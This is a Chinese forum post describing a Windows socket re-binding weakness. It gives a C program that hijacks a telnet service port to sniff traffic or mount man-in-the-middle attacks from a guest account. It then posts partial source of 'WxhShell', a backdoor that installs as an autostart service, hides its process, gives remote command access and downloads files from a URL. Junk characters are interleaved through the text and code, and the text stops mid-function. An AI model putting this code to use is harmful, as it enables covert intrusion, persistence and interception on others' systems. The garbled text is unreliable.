社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 20054阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1 ac;6`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U6LENY+Ja  
oaM 3#QJ  
  saddr.sin_family = AF_INET; |HA1.Y=  
1t<  nm)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |)b:@q3k+n  
lD@`xq.M;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;&ypvKG  
ko`.nSZ-k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'XW9+jj)/  
e>!=)6[*  
  这意味着什么?意味着可以进行如下的攻击: 2~)r,.,  
%%hG],w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]seOc],4  
R}HNi(%"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dNT<![X\  
G"nGaFT~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9?4:},FRmE  
,w$:=;i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9]PMti  
T<K/bzB3z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t-VU&.Y  
whh#J (  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &W$s-qf".  
&a?k1R>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GVUZn//  
T1g3`7C3  
  #include lka Wwjv_D  
  #include UA(&_-C\  
  #include F`RPXY`ux  
  #include    LV`tnt's  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4s7&*dJ  
  int main() s1%th"e [  
  { O("13cU  
  WORD wVersionRequested; /DoSU>%hK  
  DWORD ret; 9 1ndr@*|  
  WSADATA wsaData; c^x5 E`{  
  BOOL val; ^H~g7&f9?N  
  SOCKADDR_IN saddr; ISi^BFU  
  SOCKADDR_IN scaddr; ] Wx?k7T  
  int err; GVld]ioycG  
  SOCKET s; agp7zw=N  
  SOCKET sc; ],l\HHQ  
  int caddsize;  } @4by<  
  HANDLE mt; F6gU9=F1<  
  DWORD tid;   -X_dY>>s  
  wVersionRequested = MAKEWORD( 2, 2 ); VhLS*YiSY  
  err = WSAStartup( wVersionRequested, &wsaData ); >h{)7Hv  
  if ( err != 0 ) { }}gtz-w  
  printf("error!WSAStartup failed!\n"); J)._&O$  
  return -1; 0Q!/A5z  
  } u Xo?  
  saddr.sin_family = AF_INET; cN%@ nW0i  
   KK, t!a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _o'a|=Osx>  
g1&>.V}!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pmgPBiU>  
  saddr.sin_port = htons(23); \x<i6&.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T*jQzcm~?  
  { 6 }>CPi#  
  printf("error!socket failed!\n"); i>%A0.9  
  return -1; \"1%>O*  
  } @cu#rWiG  
  val = TRUE; \/F*JPhy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eNu]K,rT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c)4L3W-x=  
  { ^"] ]rZ)  
  printf("error!setsockopt failed!\n"); e&-MP;kgW9  
  return -1; Fuy"JmeR  
  } $nr=4'y Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BI+x6S>d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P`AW8Y6o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =2e{T J/  
C_S2a 0?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3wN{k\n s  
  { Q)2i{\GPVn  
  ret=GetLastError(); @Io@1[kj  
  printf("error!bind failed!\n"); '9@AhiNV  
  return -1; #T++5G  
  } e5#?@}?  
  listen(s,2); IZ<Et/3H  
  while(1) /B)`pF.n  
  { YT}ZLx  
  caddsize = sizeof(scaddr); ToM1#]4  
  //接受连接请求 g9@H4y6fe=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pch8A0JAl)  
  if(sc!=INVALID_SOCKET) !p!^[/9"c  
  { rUh2[z8:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @K\ hgaQ  
  if(mt==NULL) W<>R;~)  
  { W0XfU`  
  printf("Thread Creat Failed!\n"); W5Vh+'3  
  break; (/KeGgkhv  
  } jbWgL$  
  } HsKq/Oyk  
  CloseHandle(mt); "xAIK  
  } 5QP`2I_n  
  closesocket(s); &[P(}??Y\  
  WSACleanup(); jwmPy)X|s\  
  return 0; [xo-ZDIoG  
  }   {Kz!)uaC  
  DWORD WINAPI ClientThread(LPVOID lpParam) Tly*i"[&  
  { SvQ!n4 $  
  SOCKET ss = (SOCKET)lpParam; *yYeqm  
  SOCKET sc; V I]~uTV  
  unsigned char buf[4096]; V-dyeb  
  SOCKADDR_IN saddr; _6-N+FI  
  long num; c!N#nt_<  
  DWORD val; 7n]ukqZ  
  DWORD ret;  lofP$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S/dj])g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yM('!iG*/  
  saddr.sin_family = AF_INET; GD% qrK?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j937tn!Q  
  saddr.sin_port = htons(23); .f&Z+MQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hi nJ}MF  
  { 2=7:6Fw  
  printf("error!socket failed!\n"); )=AWgA  
  return -1; :+f6:3  
  } yVWt%o/  
  val = 100; cCs@[D#O1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )M* Sg?L  
  { 5E^P2Mlc  
  ret = GetLastError(); (dwb{+HW  
  return -1; # J^ >7v  
  } ogqKM_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :9f 9Z7M  
  { gts09{"}Y  
  ret = GetLastError(); hISYtNWjd"  
  return -1; +2>, -V  
  } e!vWGnY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )JY#8,{w  
  { oiOu169]  
  printf("error!socket connect failed!\n"); iUq_vQ@} }  
  closesocket(sc); (_AU)  
  closesocket(ss); z9w]{Zd_,d  
  return -1; NIHcX6Nw  
  } ZEs^b  
  while(1) m -0}Pe9L  
  { : -$TD('F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sl`?9-_[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~( :$c3\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KQ ^E\,@o  
  num = recv(ss,buf,4096,0); b^A7R{G7  
  if(num>0) 2 SU  
  send(sc,buf,num,0); \+Y5b}  
  else if(num==0) ^UBzX;|p  
  break; ~:*V'/2k  
  num = recv(sc,buf,4096,0); a:s$[+'Y  
  if(num>0) @ 6*eS+t\  
  send(ss,buf,num,0); 3zv0Nwb,  
  else if(num==0) {LT2^gy=  
  break; $3xDjiBb  
  } h-fm)1S_  
  closesocket(ss); }\1V%c  
  closesocket(sc); Nz:p(X!  
  return 0 ; P!gY&>EU  
  } |@VhR(^O$  
$."F z x  
#<G:&  
========================================================== l!": s:/'  
SNf~%B?`L  
下边附上一个代码,,WXhSHELL &yI>A1  
Oj8D+sC{  
========================================================== $`P]%I}  
:lu"14  
#include "stdafx.h" r@PVSH/  
?;A\>sP  
#include <stdio.h> GK1P7Qy?V  
#include <string.h> =i6k[rg  
#include <windows.h> OS1f}<  
#include <winsock2.h> _-2;!L#/  
#include <winsvc.h> j+e s  
#include <urlmon.h> ,+X:#$  
^CD? SP"i  
#pragma comment (lib, "Ws2_32.lib") ^S 45!mSb  
#pragma comment (lib, "urlmon.lib") I8|"h8\  
> w SI0N  
#define MAX_USER   100 // 最大客户端连接数 MRT<hB  
#define BUF_SOCK   200 // sock buffer )1 QOA  
#define KEY_BUFF   255 // 输入 buffer FGeKhA 8jT  
aGAr24]y  
#define REBOOT     0   // 重启 r.c:QY$  
#define SHUTDOWN   1   // 关机 ;p87^:  
x6ayFq=  
#define DEF_PORT   5000 // 监听端口 5Q:%f  
&da:{  
#define REG_LEN     16   // 注册表键长度 'j!n   
#define SVC_LEN     80   // NT服务名长度 ]W5p\(1g  
A\v53AT  
// 从dll定义API dF5y' R'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |io)?`pj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); - Rx;"J.H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /. H(&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GNSh`Tm=#  
i~)EU F  
// wxhshell配置信息 m -0EcA/  
struct WSCFG { #99=wn  
  int ws_port;         // 监听端口 7~;)N$d\  
  char ws_passstr[REG_LEN]; // 口令 xrI9t?QaCb  
  int ws_autoins;       // 安装标记, 1=yes 0=no eU.C<Tv:8  
  char ws_regname[REG_LEN]; // 注册表键名 2B5Ez,'#x  
  char ws_svcname[REG_LEN]; // 服务名 o_5[}d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c2L\m*^o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !#W3Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dp4vybJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M.bkFuh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?}= $zN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~ _IQ:]k  
riRG9c |  
}; lXEn m-_  
;|W:,a{kS  
// default Wxhshell configuration qn'TIE.  
struct WSCFG wscfg={DEF_PORT,  Sr_hD5!  
    "xuhuanlingzhe", F{_,IQ]U  
    1, OX?E3 <8`  
    "Wxhshell", ='@ k>Ka+  
    "Wxhshell", s#8T46?  
            "WxhShell Service", U#<{RqY  
    "Wrsky Windows CmdShell Service", irP*:QM  
    "Please Input Your Password: ", :^`WrcOJ  
  1, : %uaaFl  
  "http://www.wrsky.com/wxhshell.exe", %a:T9v  
  "Wxhshell.exe" @VyNe(U  
    };  m3^D~4  
mx#)iHY  
// 消息定义模块 sCp)o,;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hegH^IN M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =NSunW!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d(Hqj#`-31  
char *msg_ws_ext="\n\rExit."; 0fK#:6  
char *msg_ws_end="\n\rQuit."; (:h&c6'S)b  
char *msg_ws_boot="\n\rReboot..."; +q+JOS]L  
char *msg_ws_poff="\n\rShutdown..."; F&B E+b/#  
char *msg_ws_down="\n\rSave to "; m=Mk@xfQ#  
y=jZ8+M   
char *msg_ws_err="\n\rErr!"; RD;A  
char *msg_ws_ok="\n\rOK!"; UMT}2d%  
B\l0kiNT  
char ExeFile[MAX_PATH]; zMM ~4?4  
int nUser = 0; .u`A4;;Gw  
HANDLE handles[MAX_USER]; {xOzxLB;  
int OsIsNt; }SyK)W5Y  
i6y=3k  
SERVICE_STATUS       serviceStatus; e@S\7Ks  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q8,,[R_  
3#GIZ L}!x  
// 函数声明  *I}_g4  
int Install(void); [xQ.qZ[h&  
int Uninstall(void); %(H' j@D[  
int DownloadFile(char *sURL, SOCKET wsh); pbIVj3-lY  
int Boot(int flag); &>R:oYN  
void HideProc(void); 4/v[ .5  
int GetOsVer(void); ~QUN O~  
int Wxhshell(SOCKET wsl); 9l:[jsk<d  
void TalkWithClient(void *cs); BB ::zBg  
int CmdShell(SOCKET sock); ZwiXeD+4  
int StartFromService(void); Dtyw]|L\H  
int StartWxhshell(LPSTR lpCmdLine); 8i<]$  
c?aOX/C'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sGpAaGY>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fzAkUvo  
G>jC+0nkry  
// 数据结构和表定义 /gex0 w  
SERVICE_TABLE_ENTRY DispatchTable[] = O7 yj<  
{ } :gi<#-:G  
{wscfg.ws_svcname, NTServiceMain}, [HQ/MkP-Z  
{NULL, NULL} }_H\ 75Iv  
}; %?F$3YN,  
kf#S"[/E  
// 自我安装 NzN"_ojM  
int Install(void) Zv?"1Y< L  
{ NLUO{'uUW  
  char svExeFile[MAX_PATH]; t**d{P+  
  HKEY key; m9 ]Ge]  
  strcpy(svExeFile,ExeFile); 1u(n[<WtT_  
{Z Ld_VGW  
// 如果是win9x系统,修改注册表设为自启动 IGab~`c-[  
if(!OsIsNt) { DJqJ6z:'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 MW7nIEs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MmFtG-  
  RegCloseKey(key); #&?}h)Jr'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ll VbY=EX7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {<#b@=G  
  RegCloseKey(key); jE8}Ho_#)  
  return 0; Vs Z7 n~e  
    } ]86*k %A  
  } H\a\xCP3  
} +At0V(  
else { '+'h^  
@hrIu" '!  
// 如果是NT以上系统,安装为系统服务 2OqEyXh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |$+/IxDP  
if (schSCManager!=0) @=Dc(5`[  
{ `DM)tm3&m  
  SC_HANDLE schService = CreateService Y##lFEt  
  ( h`(VMf'#  
  schSCManager, ,4B8?0sH|  
  wscfg.ws_svcname, }r;=<mc,O  
  wscfg.ws_svcdisp, pd.unEWwF  
  SERVICE_ALL_ACCESS, )h{+pK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x|()f 3{.  
  SERVICE_AUTO_START, tZFpxyF  
  SERVICE_ERROR_NORMAL, 'Asr,[]?  
  svExeFile, @xBO[v  
  NULL, yL -}E  
  NULL, O`aNNy  
  NULL, Q ;5A~n  
  NULL, nwqA\  
  NULL /}iBrMD{[  
  ); fr$6&HDZ9  
  if (schService!=0) ;vbM C74J#  
  { "" _B3'  
  CloseServiceHandle(schService); 6Ypc]ym=J  
  CloseServiceHandle(schSCManager); ] ;CJ6gM~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <Z\{ijfvD  
  strcat(svExeFile,wscfg.ws_svcname); 2vb qz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MD3iWgM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <Of-,PcCV  
  RegCloseKey(key); v!$?;"d+  
  return 0; wM3m'# xJ  
    } @P i]kWW})  
  } 2^w{Hcf  
  CloseServiceHandle(schSCManager); .[3C  
} Z%=A[` 5]  
} 5w+&plIJ  
c~OvoTF,  
return 1; kLpq{GUv:  
} PSX o"   
$xF[j9nM  
// 自我卸载 _N>#/v)Yi  
int Uninstall(void) _+~&t9A!  
{ _}T )\o   
  HKEY key; Gvvw:]WgF  
<aI}+  
if(!OsIsNt) { Cb.M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `U>2H4P  
  RegDeleteValue(key,wscfg.ws_regname); (v? rZv  
  RegCloseKey(key); B7'yc`)H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3preBs#i  
  RegDeleteValue(key,wscfg.ws_regname); BMV\@Sg  
  RegCloseKey(key); |sP0z !)b  
  return 0; 9]1LwX!M2  
  } * X}2  
} s#")hMJQ  
} s<aG  
else { |`V=hqe{  
 !$!%era`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6o5,d]  
if (schSCManager!=0) dO,; k +  
{ gr{*wYL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Np+pJc1  
  if (schService!=0) uY/C iTWr  
  { {))Cb9'  
  if(DeleteService(schService)!=0) { #JXXq%4 @  
  CloseServiceHandle(schService); UN:qE oS  
  CloseServiceHandle(schSCManager); '* /$66|  
  return 0; D,(:))DmR  
  } ,ei=w,O  
  CloseServiceHandle(schService); T7O)  
  } %=\*OIhl  
  CloseServiceHandle(schSCManager); jpTk@  
} oL<5hN*D  
} _#{qDG=  
XdOntP*a  
return 1; BglbQ'6p  
} {y%@1q%"  
5@I/+D  
// 从指定url下载文件 "}H2dn2n  
int DownloadFile(char *sURL, SOCKET wsh) a0Fq$  
{ -%{+\x2  
  HRESULT hr; 9U=6l]Np  
char seps[]= "/"; 5P 5Tgk  
char *token; cR*~JwC:  
char *file; AE Elaq.B  
char myURL[MAX_PATH]; ,068IEs  
char myFILE[MAX_PATH]; +ef>ek  
nNnfcA&W  
strcpy(myURL,sURL); =En1?3?  
  token=strtok(myURL,seps); _9Rj,  
  while(token!=NULL) R\/tKZJjb  
  { 1rLxF{,  
    file=token; #YK3Ogb,  
  token=strtok(NULL,seps); d3#e7rQ8  
  } {SRD\&J[  
fE3%$M[V7  
GetCurrentDirectory(MAX_PATH,myFILE); }1lZW"{e[  
strcat(myFILE, "\\"); )V*`(dn'zm  
strcat(myFILE, file); ?U1Nm~'UZ  
  send(wsh,myFILE,strlen(myFILE),0); T1x67 b u  
send(wsh,"...",3,0); CJs ~!ww  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [qk c6sqo  
  if(hr==S_OK) >RpMw!NT  
return 0; 7  `c!  
else ]v]:8>N  
return 1; 'Z#>K*  
Pj{I} 4P`  
} 5l%g3F  
}Gx@1)??  
// 系统电源模块 uf:'"7V7  
int Boot(int flag) K*4ib/'E a  
{ Q:b0!  
  HANDLE hToken; HNlW.y"  
  TOKEN_PRIVILEGES tkp; $'<$:;4b3  
VRSBf;?  
  if(OsIsNt) { *m`x/_y+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M 8(w+h{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dqd2e&a\  
    tkp.PrivilegeCount = 1; \0&$ n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %5@> nC?`[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :1@jl2,  
if(flag==REBOOT) { kr!>rqN5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N3oa!PE  
  return 0; av:%wJUl,$  
} ld 1[Usaq  
else { <JvYCWX`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cjd-B:l  
  return 0; X;#Ni}af  
} 7-\wr^ll3  
  } y>d`cRy  
  else { G{Uqp'=G  
if(flag==REBOOT) { A6   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @3FQMs4  
  return 0; LW">9 ;n  
} ?wn <F}UH  
else { OqmW lN.?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,6"[vb#*3  
  return 0; If8 ^  
} Rz6kwh=q  
} -@B6$XWL  
TD4 n%k.  
return 1; HIfi18  
} F5M|QX@-  
9F~5Ht  
// win9x进程隐藏模块 dP]Z:  
void HideProc(void) K5??WB63B  
{ Kq+vAp).  
WH fl|e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -_]Ceq/  
  if ( hKernel != NULL ) 7vI ROK~  
  { QXEZ?gx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6wXy;!2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T]b&[?p|a[  
    FreeLibrary(hKernel); uigzf^6,  
  } #BZ5Mxzj  
G(t&(t`[  
return; t~!ag#3['.  
} 8p1:dTI5Pb  
d(| 4 +^>  
// 获取操作系统版本 5-S-r9  
int GetOsVer(void) `FX?P`\@I  
{ PQz[IZ  
  OSVERSIONINFO winfo; O<dCvH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1W}k>t8?h'  
  GetVersionEx(&winfo); k ,r*xt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s t#^pWL  
  return 1; r|/9'{!  
  else qQ,(O5$|  
  return 0; dwiLu&]u  
} vVsaGW   
=eh!eZ9  
// 客户端句柄模块 k RSY;V  
int Wxhshell(SOCKET wsl) BV\~Dm]"  
{ :X7O4?ww  
  SOCKET wsh; 2|`Mb~E;  
  struct sockaddr_in client; s= z$;1C  
  DWORD myID; u~mpZ"9$ 3  
%O7?:#_  
  while(nUser<MAX_USER) ?}u][akM  
{ 'gsO}xj  
  int nSize=sizeof(client); {e0aH `me  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !thFayq  
  if(wsh==INVALID_SOCKET) return 1; Z0wH%o\  
T/J1 b-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oDG BC  
if(handles[nUser]==0) F:.8O ,%u  
  closesocket(wsh); v^[!NygShs  
else l SuNZY aO  
  nUser++; DLe>EU;vS  
  } 2&AX_#P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \rS-}DG  
2<V`  
  return 0; f;&XTF5D^  
}  {~w!  
`;m0GU68  
// 关闭 socket Z1 (!syg  
void CloseIt(SOCKET wsh) K;TTGK  
{ VwXR,(  
closesocket(wsh); >}u#KBedE  
nUser--; m&s;zQ  
ExitThread(0); gs~u8"B  
} piIGSC  
(?.h<v1}  
// 客户端请求句柄 EvA8<o  
void TalkWithClient(void *cs) " ;\EU4R  
{ PX?^v8wlqL  
]a:T]x6'  
  SOCKET wsh=(SOCKET)cs; A!$sO p  
  char pwd[SVC_LEN]; j1ap,<\.k  
  char cmd[KEY_BUFF]; 90wnwz  
char chr[1]; s;tI?kR>%  
int i,j; DnF|wS  
u=(.}  
  while (nUser < MAX_USER) { 4%<D\#  
u}?{1B!  
if(wscfg.ws_passstr) { ?b]f$ 2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?9*[\m?-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V9  EC@)  
  //ZeroMemory(pwd,KEY_BUFF); 5xH*&GpL7  
      i=0; i2LN`5k  
  while(i<SVC_LEN) { 5iGz*_ m  
D{4]c)>  
  // 设置超时 s:tWEgZk?  
  fd_set FdRead; T%YN(f  
  struct timeval TimeOut; _e|-O>#pl  
  FD_ZERO(&FdRead); B5;94YIN  
  FD_SET(wsh,&FdRead); eYv+tjIF  
  TimeOut.tv_sec=8; =v{ R(IX%  
  TimeOut.tv_usec=0; ksYPF&l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A=*6|1w;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $! g~pV  
nyG5sWMpe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q1/mp){  
  pwd=chr[0]; ;Z,l};b  
  if(chr[0]==0xd || chr[0]==0xa) { MA7&fNjB  
  pwd=0; Nk9w ; z&  
  break; aZ ta%3`)  
  } a6/ETQ  
  i++; LM!@LQAMY  
    } !VvM  
`0R>r7f)H  
  // 如果是非法用户,关闭 socket b1Ba}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /j\.~=,_  
} ` ^z l =  
of`WP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3BB/u%N}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yv> 6u7  
]:4\ rBR3  
while(1) { @ZcI]G%  
X(C=O?A  
  ZeroMemory(cmd,KEY_BUFF); \Fu(IuD  
JS&;7Z$KX  
      // 自动支持客户端 telnet标准   1_G+sDw$  
  j=0; |j$$0N  
  while(j<KEY_BUFF) { t & 5s.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h>/L4j*Z  
  cmd[j]=chr[0]; N,ZmGzNP)  
  if(chr[0]==0xa || chr[0]==0xd) { Mo4igP  
  cmd[j]=0; mDA1$fj"  
  break; }O6E5YCm  
  } yJ8_<A  
  j++; !1bATO:x  
    } +1Rz+  
e&9v`8}   
  // 下载文件 Js9 EsN%  
  if(strstr(cmd,"http://")) { _wZr`E)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h<BTu7a`r  
  if(DownloadFile(cmd,wsh)) @^b>S6d "  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4[rA2Bf8E  
  else YXGxE&!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1(Lq9hs`  
  } /8lmNA  
  else { ` >k7^!Ds  
P0-K/_g  
    switch(cmd[0]) { \Iz-<:gA'  
  F=;nWQ&  
  // 帮助 DM{Z#b]  
  case '?': { t y%Hrw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7t6TB*H  
    break; ,k,+UisG  
  } LlbE]_Z!U%  
  // 安装 VS5D)5w#  
  case 'i': { Ntpw(E<$f  
    if(Install()) sTi3x)#xB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #-g2p?+i&  
    else HU-#xK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u9ue>I /  
    break; FF30 VlJ  
    } /I0}(;^y  
  // 卸载 %nj{eT  
  case 'r': { <\?dPRw2>  
    if(Uninstall()) z s[zB#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I$I',x5Z  
    else #2qv"ntW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8fQXif\z  
    break; =o4McV}  
    } hDTM\>.c;s  
  // 显示 wxhshell 所在路径 G}'\  
  case 'p': { nD{{/_"'  
    char svExeFile[MAX_PATH]; ]Q{MF- EKj  
    strcpy(svExeFile,"\n\r"); XC[bEp$  
      strcat(svExeFile,ExeFile); F2$?[1^f  
        send(wsh,svExeFile,strlen(svExeFile),0); 5Ja[p~^L  
    break; G2FD'Sf  
    } 2L7ogyrU/A  
  // 重启 -q DL':  
  case 'b': { W_|7hwr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k FE<M6a9@  
    if(Boot(REBOOT)) J-~:W~Qx4N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ng\]  
    else { S6c>D&Q  
